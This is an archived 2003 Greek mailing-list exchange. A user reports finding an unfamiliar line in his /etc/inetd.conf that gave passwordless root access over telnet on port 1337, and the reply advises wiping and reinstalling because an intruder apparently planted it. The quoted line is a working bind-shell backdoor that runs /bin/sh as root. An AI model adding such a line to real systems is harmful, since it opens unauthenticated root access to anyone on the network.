linux security book

[Vasilis Vasaitis]

On Mon, Aug 18, 2003 at 12:18:03AM +0300, Antonis Faragitakis wrote:
> xerete
> xrisimopoio to linux box mou san workstation opote den iparxei logos
> gia kapoiou eidous security on it. etsi pisteva mexri tin proigoumeni
> ebdomada pou eida mia periergi grammi sto /etc/inetd.conf:
> # End of inetd.conf.
> 1337 stream tcp nowait root /bin/sh sh -i
> den tha tin eixa proseksi ean den itan sto telos tou arxeiou.
> etsi loipon ekana telnet localhost 1337 kai pros megali mou
> ekpliksi brethika sto sistima san root. apla bgika sto sh
> xoris request of username and password kai telika katalaba oti
> xreiazete kapoiou eidous security kai sta workstation.

  Πέρα από αυτό που ρωτάς... πριν κάνεις οτιδήποτε περί ασφάλειας, μην
ξεχάσεις να σβήσεις τελείως το σύστημα που το είδες αυτό και να το
ξαναπεράσεις από την αρχή. Υποθέτω ότι αυτή τη γραμμή στο inetd.conf
δεν την έβαλες από μόνος σου, οπότε μάλλον την έβαλε κάποιος που είχε
αποκτήσει ήδη πρόσβαση στο μηχάνημά σου...

-- 
Vasilis Vasaitis
vvas at hal.csd.auth.gr
+306976604701